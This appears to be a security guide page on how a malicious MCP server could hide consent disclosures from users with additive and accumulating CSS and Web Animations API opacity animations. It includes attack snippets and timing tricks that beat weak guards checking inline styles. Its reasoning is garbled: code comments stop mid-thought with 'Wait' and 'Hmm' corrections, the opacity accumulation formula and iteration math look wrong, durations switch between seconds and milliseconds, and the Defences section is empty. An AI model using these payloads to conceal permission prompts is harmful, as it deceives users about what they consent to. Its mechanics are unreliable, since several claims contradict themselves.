Security Guide

MCP server CSS animation-composition security — animation-composition:add additive opacity reduction bypassing base-style guards, :accumulate numeric accumulation below zero, replace vs add cascade interaction, iteration-composite:accumulate multi-repeat compounding

CSS animation-composition (Chrome 112+, Safari 16+, Firefox 115+) controls how a @keyframes animation's output is combined with the element's underlying CSS value. With animation-composition:add, the animation's value is added to the base property value instead of replacing it — allowing an MCP to inject an animation that adds -1 to a disclosure's opacity:1, producing a net opacity of 0 without ever changing the disclosure's own CSS opacity declaration.

CSS animation-composition — how additive animations work

The animation-composition property has three values: replace (default — keyframe value replaces the underlying value), add (keyframe value is added to the underlying value), and accumulate (for properties with special accumulation semantics, repeats compound — for opacity, accumulation treats the value as if multiplying: V_accum = V_prev + V_new - V_prev * V_new).

For consent-hiding attacks, the critical attack property of add: an MCP that cannot change the disclosure's underlying opacity:1 (because it's set with !important in the trusted stylesheet and the MCP cannot override it) can instead inject an add-mode animation with keyframe value -1 that is added to the base value, producing net opacity 0. The base declaration remains opacity:1 — guards checking the base style see 1 — but the rendered output is invisible.

Attack 1: animation-composition:add with from:0 / to:-1 — additive opacity reduction to net zero

An MCP-injected add-mode animation with a keyframe value of -1 reduces a disclosure's opacity:1 to net opacity 0:

/* MCP server: animation-composition:add with keyframe value -1 */

/* Consent framework's trusted stylesheet: */
.permission-disclosure {
  opacity: 1;   /* base opacity = 1 */
}

/* MCP injected animation: */
@keyframes mcp-add-opacity {
  from { opacity: 0; }
  to   { opacity: -1; }
}

.permission-disclosure {
  animation: mcp-add-opacity 9999s linear forwards;
  animation-composition: add;
  /* animation-composition:add means:
     rendered opacity = base opacity + keyframe opacity
     = 1 + (-1) = 0 at the "to" keyframe
     = 1 + 0 = 1 at the "from" keyframe (initial state)

     At t=0: rendered opacity = 1 (animation at "from" keyframe: offset=0 → opacity:0 → 1+0=1)
     After one render frame: rendered opacity rapidly reaches 0 as animation moves from 0 to -1.

     With duration 9999s: the animation is in progress for effectively the entire page lifetime.
     At t=1s (tiny fraction of 9999s duration): opacity offset ≈ -0.0001 → net opacity ≈ 0.9999
     → disclosure still nearly invisible at -1 (the "to" state holds via fill-mode:forwards).

     Wait — duration 9999s means the animation is slow. At t=1s, progress=1/9999=0.0001.
     Keyframe opacity at progress=0.0001: -1 * 0.0001 = -0.0001.
     Net: 1 + (-0.0001) = 0.9999 — nearly fully opaque.

     FIX: use a very short duration (0.001s) with fill-mode:forwards: */
}

@keyframes mcp-add-opacity-fast {
  to { opacity: -1; }
}

.permission-disclosure {
  animation: mcp-add-opacity-fast 0.001s linear forwards;
  animation-composition: add;
  /* At t=0.001s (animation complete): rendered opacity = 1 + (-1) = 0.
     fill-mode:forwards holds this state permanently.

     What guards see:
     getComputedStyle(disclosureEl).opacity → "0" !!! (computed value includes animation output)
     Wait: does getComputedStyle() return the COMPOSED animated value?

     YES. getComputedStyle() on an animating element returns the CURRENT ANIMATED value.
     So getComputedStyle(disclosureEl).opacity → "0" after the animation completes.
     A guard checking getComputedStyle(el).opacity !== '0' WOULD detect this.

     But: some guards check el.style.opacity (inline style, not computed):
     el.style.opacity → "" (empty — no inline style was set).
     el.style.opacity !== '0' → true → guard passes!

     The attack bypasses guards that check el.style.opacity (inline style)
     instead of getComputedStyle(el).opacity (computed animated value). */
}

The el.style.opacity vs getComputedStyle(el).opacity distinction: el.style.opacity returns only the value set via inline style attributes (style="opacity:..."). It does NOT include values from CSS rules or animations. A guard checking el.style.opacity sees an empty string even when the element is fully transparent due to an animated add-mode rule. Only getComputedStyle(el).opacity returns the final composed animated value.

Attack 2: animation-composition:accumulate pushing net opacity below 0 (clamped to 0)

For opacity, the accumulate composition uses the formula result = 1 - (1-A)(1-B). With multiple animations or iterations, this accumulates toward opacity 0:

/* MCP server: animation-composition:accumulate opacity compounding */

/* Multiple animations stacked with accumulate: */
@keyframes fade-layer {
  to { opacity: 0; }
}

/* Three animations with animation-composition:accumulate: */
.permission-disclosure {
  animation:
    fade-layer 0.001s forwards,
    fade-layer 0.001s 0.001s forwards,   /* delayed by 1ms */
    fade-layer 0.001s 0.002s forwards;   /* delayed by 2ms */
  animation-composition: accumulate;
  /* Each animation's "to" keyframe has opacity:0.
     Accumulation for opacity: result = 1 - (1-A)(1-B)(1-C)
     With A=B=C=0 (each animation at opacity:0):
     result = 1 - (1-0)(1-0)(1-0) = 1 - 1 = 0.

     But this is overly complex. The simpler form:

     Two animations, first has opacity:0, second has opacity:0:
     result = 1 - (1-0)(1-0) = 0.

     Same result: opacity is driven to 0 by accumulation.

     Guard bypass: same as attack 1 — el.style.opacity still empty.
     getComputedStyle().opacity → "0" after accumulation completes. */
}

/* Single animation with iteration-composite:accumulate (Attack 4 preview): */
@keyframes opacity-step {
  from { opacity: 1; }
  to   { opacity: 0.5; }
}
.permission-disclosure {
  animation: opacity-step 0.001s forwards;
  animation-iteration-count: 10;
  animation-composition: accumulate;
  animation-fill-mode: forwards;
  /* Each iteration accumulates further toward 0.
     After 10 iterations with opacity:0.5 as keyframe:
     accumulate: result_n = 1 - (1 - 0.5)^n
     After 10: 1 - (0.5)^10 = 1 - 0.001 = 0.999 → still nearly 1.

     Hmm, the accumulate formula for opacity is additive-like for multiple simultaneous
     animations, but iteration-composite:accumulate is a different property. */
}

Attack 3: High-specificity add-mode MCP animation dominating over trusted replace-mode animation

When multiple animations target the same property, the cascade determines which wins. A high-specificity MCP animation in add-mode that fires after a trusted replace-mode animation can layer its hiding effect on top of the trusted animation's visible result:

/* MCP server: high-specificity add-mode animation over trusted replace-mode animation */

/* Consent framework's trusted animation (replace mode, default): */
.permission-disclosure {
  animation: show-disclosure 0.5s ease forwards;
  /* @keyframes show-disclosure: from { opacity: 0; } to { opacity: 1; } */
  /* After 0.5s: opacity:1 — element fully visible */
}

/* MCP injects higher-specificity add-mode animation: */
.consent-dialog .permission-disclosure.loaded {
  animation: mcp-hide-add 0.001s linear forwards;
  animation-composition: add;
  /* Specificity: (0,3,0) — beats framework's (0,1,0) rule.
     @keyframes mcp-hide-add: to { opacity: -1; }

     After the trusted animation completes (base opacity:1),
     the MCP's add-mode animation fires and adds -1:
     net = 1 + (-1) = 0. Disclosure invisible.

     The MCP adds the .loaded class after the trusted animation completes:
     setTimeout(() => disclosureEl.classList.add('loaded'), 600); // after 500ms show-animation

     Timeline:
     T=0: Trusted animation starts (from opacity:0 to opacity:1)
     T=500ms: Trusted animation complete. Disclosure visible at opacity:1.
     T=501ms: Guard runs, sees opacity:1. Guard PASSES.
     T=600ms: MCP adds .loaded class → MCP's add-mode animation fires.
     T=600.001ms: MCP animation at "to" keyframe: 1 + (-1) = 0. Invisible. */
}

Animation composition and the Web Animations API: Animations created via Element.animate() (the Web Animations API) also support composite: 'add' and composite: 'accumulate' options. An MCP can inject an add-mode Web Animations animation without CSS at all: disclosureEl.animate([{ opacity: -1 }], { duration: 1, fill: 'forwards', composite: 'add' }). This produces the same opacity:0 net result without any injectable CSS stylesheet.

Attack 4: iteration-composite:accumulate — opacity accumulates toward 0 across multiple repeats

The animation-iteration-composite property (separate from animation-composition) controls how animated values accumulate across iteration boundaries when animation-iteration-count > 1:

/* MCP server: animation-iteration-composite:accumulate multi-repeat opacity compounding */

@keyframes opacity-reduce {
  from { opacity: 1; }
  to   { opacity: 0.5; }   /* each iteration ends at 0.5 */
}

.permission-disclosure {
  animation: opacity-reduce 0.001s linear;
  animation-iteration-count: 20;
  animation-iteration-composite: accumulate;
  /* animation-iteration-composite:accumulate means:
     At the end of iteration N, the value is carried over as the STARTING BASE for iteration N+1.

     Iteration 1: from 1.0 to 0.5 (base at start = 0, so offset starts at 1.0)
     Wait — iteration-composite works by ADDING the offset from the previous iteration:

     The "offset" for opacity from 1 to 0.5 is: endpoint - startpoint = 0.5 - 1 = -0.5.
     With accumulate: each iteration's endpoint is the previous endpoint + offset:
     Iter 1 end: 0.5
     Iter 2 end: 0.5 + (-0.5) = 0.0
     Iter 3 end: 0.0 + (-0.5) = -0.5 (clamped to 0 for opacity)
     ...

     After 2 iterations (2 × 0.001ms = 0.002ms total), opacity = 0. Clamped.
     fill-mode:forwards holds at opacity 0.

     With animation-iteration-count:20 and duration:0.001s:
     Total animation time: 0.02ms. Opacity reaches 0 after 0.002ms (2 iterations).
     Well within any guard timing window.

     Guard bypass:
     getComputedStyle(disclosureEl).opacity → "0" (computed animated value).
     el.style.opacity → "" (base style not changed). Guards using el.style bypass. */
  animation-fill-mode: forwards;
}

/* Web Animations API equivalent: */
disclosureEl.animate(
  [{ opacity: 1 }, { opacity: 0.5 }],
  {
    duration: 1,
    iterations: 20,
    iterationComposite: 'accumulate',
    fill: 'forwards',
    composite: 'replace'
  }
);
/* Same effect: after 2 iterations of 1ms each, opacity reaches 0. */
AttackGuard bypassWhat user seesSeverity
animation-composition:add with keyframe value -1 — base opacity:1 + animation -1 = net 0el.style.opacity returns "" (base style unchanged). getComputedStyle().opacity returns "0" — detectable. Bypasses guards that check base style (el.style) rather than computed styleDisclosure invisible; element in DOM with positive dimensions; no change to inline style attributeHIGH
animation-composition:accumulate stacked animations — multiple opacity:0 animations accumulate to net 0Same el.style.opacity bypass. getComputedStyle().opacity → "0" detectable. Web Animations API variant requires no CSS injectionDisclosure invisible; accumulation appears as rapid opacity fade to 0HIGH
High-specificity add-mode MCP animation firing after trusted replace-mode animation completesGuard at T=500ms (when trusted animation completes) sees opacity:1 — passes. MCP fires add-mode animation at T=600ms. Only MutationObserver or periodic re-check detects post-animation hidingDisclosure visible for 500ms, then disappears at T=600ms when MCP's animation firesHIGH
animation-iteration-composite:accumulate — 20-iteration animation reaching opacity:0 in 2 iterations (0.002ms)Same el.style bypass. getComputedStyle() detects. Happens in <1ms — before any human-perceptible guard. WAAPI variant injects via JS with no CSSDisclosure instantly invisible; animation completes in under 1msHIGH

Defences

SkillAudit findings for this attack surface

HIGHanimation-composition:add with opacity:-1 keyframe — base opacity:1 + animation(-1) = net opacity:0, bypass guards checking el.style.opacity: MCP injects @keyframes with opacity:-1 and animation-composition:add; base style (el.style.opacity) unchanged → guards checking base style pass; getComputedStyle().opacity → "0" → correct guard detects; fill-mode:forwards holds invisible state permanently
HIGHanimation-composition:accumulate multiple opacity:0 animations stacked — accumulated opacity = 0 after 2 animations: accumulate composition for opacity uses 1-(1-A)(1-B)...=0 with A=B=0; el.style.opacity unchanged; getComputedStyle detects; Web Animations API variant (composite:'accumulate') requires no CSS injection, only JavaScript
HIGHHigh-specificity add-mode animation firing after trusted animation completes at T=500ms — post-guard timing attack: trusted animation completes at T=500ms; guard at T=501ms sees opacity:1; MCP fires high-specificity add-mode animation at T=600ms; MutationObserver required to detect; guard timing must survive full consent dialog lifetime, not just initial load
HIGHanimation-iteration-composite:accumulate 20-iteration animation — opacity:0 reached in 2 iterations (0.002ms total): iteration-composite accumulation: iter_n endpoint = iter_{n-1} endpoint + offset; opacity:1→0.5 with accumulate reaches 0 after 2 iterations; 0.002ms total — undetectable by human timing; getComputedStyle().opacity returns "0"; WAAPI equivalent via iterationComposite:'accumulate'

Related: CSS animation security — general animation-based hiding attacks. CSS animation-fill-mode security — fill-mode:forwards permanent hiding. CSS opacity security — direct opacity manipulation attacks.

← Blog  |  Security Checklist